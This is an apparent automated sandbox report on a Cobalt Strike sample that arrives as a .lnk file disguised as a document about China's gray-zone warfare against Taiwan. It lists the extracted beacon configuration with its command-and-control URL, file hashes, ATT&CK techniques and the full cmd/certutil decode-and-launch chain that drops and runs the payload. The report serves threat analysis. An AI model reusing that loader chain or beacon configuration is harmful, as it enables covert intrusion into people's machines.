cobaltstrike | 1fcd696c75e9dea9ab04213e2a7925aa18198e30afd99cf3bd0eb01b6ebcbc88

Analysis

max time kernel
137s
max time network
138s
platform
windows10-2004_x64
resource
win10v2004-20240709-en
resource tags

arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
submitted
19/07/2024, 12:30

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
China's_gray_zone_warfare_against_Taiwan.doc.lnk
Size 1.4MB
Sample240719-ppn5ba1dpn
SHA256 2fa270cf83b341bc469b0d4430d2b5c3e95109b4b47f4f99c9e878aeaff8ec33
MD5 6f7d85c196c277a6a619f6d94b8f69b9
SHA1 530c0833454ca14c01af28961239cb07f783d977
SHA512 6bf3761c2157957d5f3349864b4905cf5f2d12f4aa1a78b5aa899de4e9a57544dabcafaf204443f2a85ca2041c94f3ecc95818445885b959b7fbf0bbd2a26f41
SSDEEP 24576:yfxwTgCX64xkh3Rj8PVWNvBIIqZGjEbiyiqWwwwDT2VmpoovXoHDImimX6fTG5XF:4
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

cobaltstrike 100000000 backdoor execution trojan

Malware Config

Extracted

Family

cobaltstrike

Botnet

100000000

http://upserver.updateservice.store:443/common.html

Attributes

access_type
512
beacon_type
2048
host
upserver.updateservice.store,/common.html
http_header1
AAAAEAAAACJIb3N0OiB1cHNlcnZlci51cGRhdGVzZXJ2aWNlLnN0b3JlAAAACgAAABFDb25uZWN0aW9uOiBjbG9zZQAAAAcAAAAAAAAACwAAAAMAAAACAAAAA2x1PQAAAAYAAAAGQ29va2llAAAACQAAAAt2ZXJpZnk9dHJ1ZQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=
http_header2
AAAAEAAAACJIb3N0OiB1cHNlcnZlci51cGRhdGVzZXJ2aWNlLnN0b3JlAAAACgAAABFDb25uZWN0aW9uOiBjbG9zZQAAAAoAAAAvQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWQAAAAHAAAAAQAAAAMAAAADAAAAAgAAAAhhdXRob3JzPQAAAAQAAAAHAAAAAAAAAAMAAAACAAAADl9fc2Vzc2lvbl9faWQ9AAAABgAAAAZDb29raWUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=
http_method1
GET
http_method2
POST
jitter
9472
polling_time
58666
port_number
443
sc_process32
%windir%\syswow64\svchost.exe
sc_process64
%windir%\sysnative\svchost.exe
state_machine
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCdQ5nVpJ13O9CwiQRtLOdTAwGg6oj4mvtVqZvCbSy9YyU3ngZSDBgmWjSMwrTqMvvKUr5RvigK1N00xTGT4LVtDESUaUvyGU79G24yPaF5rUOJjnAIRazosjB87DvXbI6k45HQsVyZD7wgEXnKFmv3E0Tk9ti5G0eVOKL5tqdS5QIDAQABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==
unknown1
6.1158912e+08
unknown2
AAAABAAAAAIAAAJYAAAAAwAAAAMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==
uri
/r-arrow
user_agent
Mozilla/5.0 (Windows Phone 10.0; Android 6.0.1; Microsoft; RM-1152) AppleWebKit/537.36 (KHTML, like Gecko)
watermark
100000000

Signatures

Cobaltstrike
Detected malicious payload which is part of Cobaltstrike.
trojan backdoor cobaltstrike

Checks computer location settings 2 TTPs 3 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2636447293-1148739154-93880854-1000\Control Panel\International\Geo\Nation	cmd.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2636447293-1148739154-93880854-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2636447293-1148739154-93880854-1000\Control Panel\International\Geo\Nation	cmd.exe

Executes dropped EXE 1 IoCs

pid	Process
3412	pfexec.exe

Loads dropped DLL 1 IoCs

pid	Process
3412	pfexec.exe

Drops file in Windows directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\LOGS\DPX\setupact.log	expand.exe
File opened for modification	C:\Windows\LOGS\DPX\setuperr.log	expand.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Modifies registry class 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2636447293-1148739154-93880854-1000_Classes\Local Settings	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-2636447293-1148739154-93880854-1000_Classes\Local Settings	cmd.exe

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
860	WINWORD.EXE
860	WINWORD.EXE

Suspicious use of SetWindowsHookEx 18 IoCs

pid	Process
860	WINWORD.EXE
860	WINWORD.EXE
860	WINWORD.EXE
860	WINWORD.EXE
860	WINWORD.EXE
860	WINWORD.EXE
860	WINWORD.EXE
860	WINWORD.EXE
860	WINWORD.EXE
860	WINWORD.EXE
860	WINWORD.EXE
860	WINWORD.EXE
860	WINWORD.EXE
860	WINWORD.EXE
860	WINWORD.EXE
860	WINWORD.EXE
860	WINWORD.EXE
860	WINWORD.EXE

Suspicious use of WriteProcessMemory 17 IoCs

description	pid	Process	procid_target
PID 4304 wrote to memory of 3296	4304	cmd.exe	85
PID 4304 wrote to memory of 3296	4304	cmd.exe	85
PID 4132 wrote to memory of 4100	4132	explorer.exe	89
PID 4132 wrote to memory of 4100	4132	explorer.exe	89
PID 4100 wrote to memory of 232	4100	WScript.exe	91
PID 4100 wrote to memory of 232	4100	WScript.exe	91
PID 232 wrote to memory of 1432	232	cmd.exe	93
PID 232 wrote to memory of 1432	232	cmd.exe	93
PID 232 wrote to memory of 808	232	cmd.exe	94
PID 232 wrote to memory of 808	232	cmd.exe	94
PID 232 wrote to memory of 512	232	cmd.exe	95
PID 232 wrote to memory of 512	232	cmd.exe	95
PID 232 wrote to memory of 860	232	cmd.exe	96
PID 232 wrote to memory of 860	232	cmd.exe	96
PID 232 wrote to memory of 3412	232	cmd.exe	98
PID 232 wrote to memory of 3412	232	cmd.exe	98
PID 232 wrote to memory of 3412	232	cmd.exe	98

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\China's_gray_zone_warfare_against_Taiwan.doc.lnk
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4304
- C:\Windows\explorer.exe
  "C:\Windows\explorer.exe" __MACOS\_params.cat.js
  2⤵
  PID:3296

C:\Windows\explorer.exe
C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
1⤵
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:4132
- C:\Windows\System32\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\__MACOS\_params.cat.js"
  2⤵
  - Checks computer location settings
  - Suspicious use of WriteProcessMemory
  PID:4100
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c findstr 4d534346 C:\Users\Admin\AppData\Roaming\gmhqKH.tmp > C:\Users\Admin\AppData\Roaming\wnMKDE.tmp&for /r c:\windows\system32\ %i in (*ertu*.exe) do %i -decodehex C:\Users\Admin\AppData\Roaming\wnMKDE.tmp C:\Users\Admin\AppData\Roaming\YuHSWb.tmp&expand -F:* C:\Users\Admin\AppData\Roaming\YuHSWb.tmp C:\Users\Admin\AppData\Roaming\&start C:\Users\Admin\AppData\Roaming\China's_gray_zone_warfare_against_Taiwan.doc&start C:\Users\Admin\AppData\Roaming\pfexec.exe&del C:\Users\Admin\AppData\Roaming\gmhqKH.tmp C:\Users\Admin\AppData\Roaming\wnMKDE.tmp C:\Users\Admin\AppData\Roaming\YuHSWb.tmp
    3⤵
    - Checks computer location settings
    - Modifies registry class
    - Suspicious use of WriteProcessMemory
    PID:232
  - - C:\Windows\system32\findstr.exe
      findstr 4d534346 C:\Users\Admin\AppData\Roaming\gmhqKH.tmp
      4⤵
      PID:1432
  - - \??\c:\windows\system32\certutil.exe
      c:\windows\system32\certutil.exe -decodehex C:\Users\Admin\AppData\Roaming\wnMKDE.tmp C:\Users\Admin\AppData\Roaming\YuHSWb.tmp
      4⤵
      PID:808
  - - C:\Windows\system32\expand.exe
      expand -F:* C:\Users\Admin\AppData\Roaming\YuHSWb.tmp C:\Users\Admin\AppData\Roaming\
      4⤵
      Drops file in Windows directory
      PID:512
  - - C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
      "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Roaming\China's_gray_zone_warfare_against_Taiwan.doc" /o ""
      4⤵
      Checks processor information in registry
      Enumerates system info in registry
      Suspicious behavior: AddClipboardFormatListener
      Suspicious use of SetWindowsHookEx
      PID:860
  - - C:\Users\Admin\AppData\Roaming\pfexec.exe
      C:\Users\Admin\AppData\Roaming\pfexec.exe
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:3412

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

sist02.xsl

Path C:\Users\Admin\AppData\Local\Temp\TCDE09F.tmp\sist02.xsl
Size 245KB
SHA256 ef4835db41a485b56c2ef0ff7094bc2350460573a686182bc45fd6613480e353
MD5 f883b260a8d67082ea895c14bf56dd56
SHA1 7954565c1f243d46ad3b1e2f1baf3281451fc14b
SHA512 d95924a499f32d9b4d9a7d298502181f9e9048c21dbe0496fa3c3279b263d6f7d594b859111a99b1a53bd248ee69b867d7b1768c42e1e40934e0b990f0ce051e
SSDEEP 6144:JwprA6OS95vtfb8p4bgWPzkhUh9I5/oBRSifJeg/yQzvapSiQhHZeruvoXMUw3im:uP
MD5 SHA1 SHA512 SSDEEP

Submit Download

China's_gray_zone_warfare_against_Taiwan.doc

Path C:\Users\Admin\AppData\Roaming\China's_gray_zone_warfare_against_Taiwan.doc
Size 75KB
SHA256 156eec85df18e7ff992a5bf35c97938557ac506c2306a8cb6633602d8a6568ed
MD5 16578aeab36f8c8f72d1a858ec21fd9c
SHA1 78f2d46da970d00033a483d0098ba9e106694321
SHA512 7e5171f365ea40e095dc6431a7598baeca21b46a52ca53a56e8124c4b41b6f3fd6f8f2afc0cf4db6b30da5a71e72a3451c53074681ed0cc5893db4fbf8f6a6e9
SSDEEP 768:Ltwiwp2CLsNgrnt7GcQ3/JGk8oBX3WJ3mF0z3wrtwcFwDdxz99:LtNCINmGcQ3Rh8+X3WJWF0z3wqcSDd3
MD5 SHA1 SHA512 SSDEEP

Submit Download

index.dat

Path C:\Users\Admin\AppData\Roaming\Microsoft\Office\Recent\index.dat
Size 431B
SHA256 f698c343ddd4d380f3e5df57ebc2389bef035f6667f1be6069e57bd234267911
MD5 dd52ce778acd75d45ce6628ea4c688c5
SHA1 e581380c409a7cec1743a5a6dd0425a9a497fb65
SHA512 53f1b35cd3c76127152aa198926ffadb1666cf8265e86e4d47b6a650752b99104015fdeee709807f8a94ab1fbf47a9bfa7541173742b8ca2cc77ff74d4fea2d4
MD5 SHA1 SHA512

Submit Download

fb3b0dbfee58fac8.customDestinations-ms

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\fb3b0dbfee58fac8.customDestinations-ms
Size 3KB
SHA256 58c9585e316ca2780b38259b36fc43b7ba5e4884f701ad933480af6e37a6c1eb
MD5 8d9ffd8225621e41e71a83f2204a1486
SHA1 284c37e97ebf5f652da007101407918ed9c49d83
SHA512 a4096c288636f79fad1843379ac3848e0e899ffdcc18331238faebc32e02e71999594049d05f7727a67b7cef1cd7e980022bf2fa71c7d470248083bd64927ddd
MD5 SHA1 SHA512

Submit Download

fb3b0dbfee58fac8.customDestinations-ms

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\fb3b0dbfee58fac8.customDestinations-ms
Size 4KB
SHA256 d55d2d470fc657392d27e150751c1f7a010b976efe53cc1fce5666b4fdc26044
MD5 765aa9d315d7814e26a6178501b076b5
SHA1 8802190d6f6eb0ca3739e3524fb80951bc570898
SHA512 7c242df8fd9b2caad9683124e7597ee8f1a25d4501a73fa5a1d92b4302d3d382ccaa0299de4a42f3944f28e7c5cd8fb386b6ba18f181b6ea0b26305978ee4a9e
SSDEEP 96:UBPHlFglz/HR9T4ZRzlmphgg9pZRERmsBRSmwWfRRBl:UBPHlw/x9khmbgg91smyjp5Rv
MD5 SHA1 SHA512 SSDEEP

Submit Download

chrome_elf.dll

Path C:\Users\Admin\AppData\Roaming\chrome_elf.dll
Size 221KB
SHA256 fb6b0ff2da14b6447b21f0fc4ae73724667c8f6d296d707f18a28633b4e59ed0
MD5 4f265905d3adad5c9e0d0aa250849404
SHA1 c147c8646a34ae54e4bdbfaffdf44848b78c209f
SHA512 adddbcf8e5b9bc64fe6663911854d37f8dd586cef2dac8749c14faa554e74943021fa340624f49cf8854f70eb159faa9a12570d04d1ffe9686a1abebc8909398
SSDEEP 6144:a4kJ/qGca8YZjXm2sohzD21knwglLz2tMLzitT3f:eqGzjXm2siqynwgdz2WLzi9
MD5 SHA1 SHA512 SSDEEP

Submit Download

gmhqKH.tmp

Path C:\Users\Admin\AppData\Roaming\gmhqKH.tmp
Size 1.4MB
SHA256 9afb6689a659f6b963d5273bab3bc7bddde88d8a00f5ee12eebffe1926b650c8
MD5 05d9845ccaa230a1f69c75b4ef0e74e3
SHA1 b0acfc3e20e14c6d444e879a6a3e54bff72df005
SHA512 0ddaa8676b788f7ac79a477bf4707ea05207a12fa4b37f3898bef4f624ceea45cd16b1bd5b29ec9de9274814725cebb793feb63551d8a62b8172efd8d6595b5c
SSDEEP 24576:bfxwTgCX64xkh3Rj8PVWNvBIIqZGjEbiyiqWwwwDT2VmpoovXoHDImimX6fTG5Xc:+
MD5 SHA1 SHA512 SSDEEP

Submit Download

pfexec.exe

Path C:\Users\Admin\AppData\Roaming\pfexec.exe
Size 1.0MB
SHA256 2c9193641261c691300cff1d18f149126036da623b475dfc36fde27fca102b91
MD5 f44d91b5ada6238eb2d6e619163cc62a
SHA1 66ef3d305e393c9b4f6bae7f418d4f7fb537ce4d
SHA512 edea071c90ec67b47ecee3b9913bab4f31bab2f36a4e397a0df801e4034306a77806bf0cb3cfeb1ba5b4272e737eba7ddfcdaf29bf749d0bfdf10cf0c8a329f1
SSDEEP 12288:Mhl2WxEAiGRklbSwZ4llEFEK3AbHjmM2HdaZJrQCNWK4KHFeMdMZW6tq2oZsErrc:6l2VN4lpFFcChMZW6tqzZ7XrP3I2JpS
MD5 SHA1 SHA512 SSDEEP

Submit Download

yuhswb.tmp

Path \??\c:\users\admin\appdata\roaming\yuhswb.tmp
Size 741KB
SHA256 2fe53a6d753eb0e288b0e514b5668ed13749227da65cd346c144c0cf8e438974
MD5 2f9c9af52d5a3c25363bb288fa997f21
SHA1 0d1a1bf7f13f16ba38fe96cbf22f06b0e38edf19
SHA512 a8e6cc507d9d6a2477b153dc2ebac284b4125ca9ee54d7484cf9bb5b36393b2747681b30b53d5a4fe47d152a23f60a50de72a1a313048cf90dd21a4ddc591924
SSDEEP 12288:lh5vSW+hDwS8Nn0NlpDnBHauPOBmIOAxcvWIpnMbhuDlWpHIqMRKbet:lLGUSyn09tHauPOQXAxcuIlMbh4WFIqW
MD5 SHA1 SHA512 SSDEEP

Submit Download

memory/860-27-0x00007FFEEDE20000-0x00007FFEEDE30000-memory.dmp

Download

memory/860-207-0x00007FFEEFFF0000-0x00007FFEF0000000-memory.dmp

Download

memory/860-28-0x00007FFEEDE20000-0x00007FFEEDE30000-memory.dmp

Download

memory/860-24-0x00007FFEEFFF0000-0x00007FFEF0000000-memory.dmp

Download

memory/860-208-0x00007FFEEFFF0000-0x00007FFEF0000000-memory.dmp

Download

memory/860-209-0x00007FFEEFFF0000-0x00007FFEF0000000-memory.dmp

Download

memory/860-206-0x00007FFEEFFF0000-0x00007FFEF0000000-memory.dmp

Download

memory/860-22-0x00007FFEEFFF0000-0x00007FFEF0000000-memory.dmp

Download

memory/860-21-0x00007FFEEFFF0000-0x00007FFEF0000000-memory.dmp

Download

memory/860-20-0x00007FFEEFFF0000-0x00007FFEF0000000-memory.dmp

Download

memory/860-23-0x00007FFEEFFF0000-0x00007FFEF0000000-memory.dmp

Download

memory/3412-53-0x0000000000D40000-0x0000000000DC8000-memory.dmp

Download

memory/3412-52-0x0000000000D40000-0x0000000000DC8000-memory.dmp

Download

memory/3412-51-0x0000000000720000-0x0000000000754000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads